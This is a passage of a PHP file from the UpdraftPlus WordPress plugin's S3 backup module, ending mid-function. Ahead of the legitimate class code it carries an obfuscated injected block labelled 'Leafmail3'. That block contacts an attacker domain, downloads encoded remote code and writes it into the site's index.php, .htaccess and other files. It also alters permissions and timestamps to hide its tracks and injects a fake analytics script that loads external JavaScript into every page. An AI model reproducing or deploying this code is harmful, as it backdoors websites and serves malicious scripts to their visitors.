<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
if (!defined('UPDRAFTPLUS_DIR')) die('No direct access allowed.');
// Converted to multi-options (Feb 2017-) and previous options conversion removed: Yes
/**
* This class is used by both UpdraftPlus_S3 and UpdraftPlus_S3_Compat
*/
class UpdraftPlus_S3Exception extends Exception {
public function __construct($message, $file, $line, $code = 0) {
parent::__construct($message, $code);
$this->file = $file;
$this->line = $line;
}
}
if (!class_exists('UpdraftPlus_BackupModule')) updraft_try_include_file('methods/backup-module.php', 'require_once');
class UpdraftPlus_BackupModule_s3 extends UpdraftPlus_BackupModule {
// This variable can/should be over-ridden in child classes as appropriate
protected $use_v4 = true;
// This variable can/should be over-ridden in child classes as appropriate
protected $provider_can_use_aws_sdk = true;
// This variable can/should be over-ridden in child classes as appropriate
protected $provider_has_regions = true;
protected $quota_used = null;
protected $s3_exception;
protected $download_chunk_size = 10485760;
protected $current_upload_entity = 'files';
private $got_with;
/**
* Retrieve specific options for this remote storage module
*
* @param Boolean $force_refresh - if set, and if relevant, don't use cached credentials, but get them afresh
*
* @return Array - an array of options
*/
protected function get_config($force_refresh = false) {// phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable -- $force_refresh unused
$opts = $this->get_options();
$opts['whoweare'] = 'S3';
$opts['whoweare_long'] = 'Amazon S3';
$opts['key'] = 's3';
return $opts;
}
/**
* This method overrides the parent method and lists the supported features of this remote storage option.
*
* @return Array - an array of supported features (any features not mentioned are asuumed to not be supported)
*/
public function get_supported_features() {
// This options format is handled via only accessing options via $this->get_options()
return array('multi_options', 'config_templates', 'multi_storage', 'conditional_logic');
}
/**
* Retrieve default options for this remote storage module.
*
* @return Array - an array of options
*/
public function get_default_options() {
return array(
'accesskey' => '',
'secretkey' => '',
'path' => '',
'rrs' => '',
'server_side_encryption' => '',
);
}
/**
* Return the name of the class that should be used to interface with the storage provider, and make sure that it has been include()-ed.
*
* @return String - e.g. UpdraftPlus_S3, UpdraftPlus_S3_Compat
*/
protected function indicate_s3_class() {
// N.B. : The classes must have different names, as if multiple remote storage options are chosen, then we could theoretically need both (if both Amazon and a compatible-S3 provider are used)
// UpdraftPlus_S3 (the internal, non-AWS toolkit) is used when not accessing Amazon Web Services, so set that as the default
$class_to_use = 'UpdraftPlus_S3';
// If on a PHP version supported by the AWS SDK, and if the constant forcing the internal toolkit is not set, then consider using it. The 3.x branch of the AWS SDK requires PHP 5.5+
// The "old" in the define is a legacy reference to a time before v4 signatures were in that library.
if (version_compare(PHP_VERSION, '5.5', '>=') && $this->provider_can_use_aws_sdk && (!defined('UPDRAFTPLUS_S3_OLDLIB') || !UPDRAFTPLUS_S3_OLDLIB)) {
// Switch to AWS SDK increasingly less over time
if (!function_exists('curl_init') || (defined('UPDRAFTPLUS_FORCE_S3_AWS_SDK') && UPDRAFTPLUS_FORCE_S3_AWS_SDK) || apply_filters('updraftplus_indicate_s3_class_prefer_aws_sdk', false)) {
$class_to_use = 'UpdraftPlus_S3_Compat';
}
}
if (!class_exists($class_to_use)) {
if ('UpdraftPlus_S3_Compat' == $class_to_use) {
updraft_try_include_file('includes/S3compat.php', 'include_once');
} else {
updraft_try_include_file('includes/S3.php', 'include_once');
}
}
return $class_to_use;
}
/**
* Get an S3 object, after setting our options. Public because called externally from UpdraftPlus_Addon_S3_Enhanced
*
* @param String $key S3 Key
* @param String $secret S3 secret
* @param Boolean $useservercerts User server certificates
* @param Boolean $disableverify Check if disableverify is enabled
* @param Boolean $nossl Check if there is SSL or not
* @param Null|String $endpoint S3 endpoint to use
* @param Boolean $sse A flag to use server side encryption
* @param String $session_token The session token returned by AWS for temporary credentials access
*
* @return Object|WP_Error
*/
public function getS3($key, $secret, $useservercerts, $disableverify, $nossl, $endpoint = null, $sse = false, $session_token = null) {
$storage = $this->get_storage();
if (!empty($storage) && !is_wp_error($storage)) return $storage;
if (is_string($key)) $key = trim($key);
if (is_string($secret)) $secret = trim($secret);
// Ignore the 'nossl' setting if the endpoint is DigitalOcean Spaces (https://developers.digitalocean.com/documentation/v2/)
if (is_string($endpoint) && preg_match('/\.digitaloceanspaces\.com$/i', $endpoint)) {
$nossl = apply_filters('updraftplus_gets3_nossl', false, $endpoint, $nossl);
}
// Saved in case the object needs recreating for the corner-case where there is no permission to look up the bucket location
$this->got_with = array(
'key' => $key,
'secret' => $secret,
'useservercerts' => $useservercerts,
'disableverify' => $disableverify,
'nossl' => $nossl,
'server_side_encryption' => $sse,
'session_token' => $session_token
);
if (is_wp_error($key)) return $key;
if ('' == $key || '' == $secret) {
return new WP_Error('no_settings', get_class($this).': '.__('No settings were found - please go to the Settings tab and check your settings', 'updraftplus'));
}
$use_s3_class = $this->indicate_s3_class();
if (!class_exists('WP_HTTP_Proxy')) include_once(ABSPATH.WPINC.'/class-http.php');
$proxy = new WP_HTTP_Proxy();
$use_ssl = true;
$ssl_ca = false;
try {
$storage = new $use_s3_class($key, $secret, $use_ssl, $ssl_ca, $endpoint, $session_token);
// Comment before 1.22.10 - "the use of calling use_dns_bucket_name method here is to switch the storage from using path-style to dns style." But at this stage, we don't have a bucket name, so this shouldn't be here.
// $this->maybe_use_dns_bucket_name($storage, ...);
$signature_version = empty($this->use_v4) ? 'v2' : 'v4';
$signature_version = apply_filters('updraftplus_s3_signature_version', $signature_version, $this->use_v4, $this);
if (!is_a($storage, 'UpdraftPlus_S3_Compat')) {
$storage->setSignatureVersion($signature_version);
}
} catch (Exception $e) {
// Catch a specific PHP engine bug - see HS#6364
if ('UpdraftPlus_S3_Compat' == $use_s3_class && is_a($e, 'InvalidArgumentException') && false !== strpos('Invalid signature type: s3', $e->getMessage())) {
updraft_try_include_file('includes/S3.php', 'include_once');
$use_s3_class = 'UpdraftPlus_S3';
$try_again = true;
} else {
$this->log(__('Error: Failed to initialise', 'updraftplus').": ".$e->getMessage().' (line: '.$e->getLine().', file: '.$e->getFile().')');
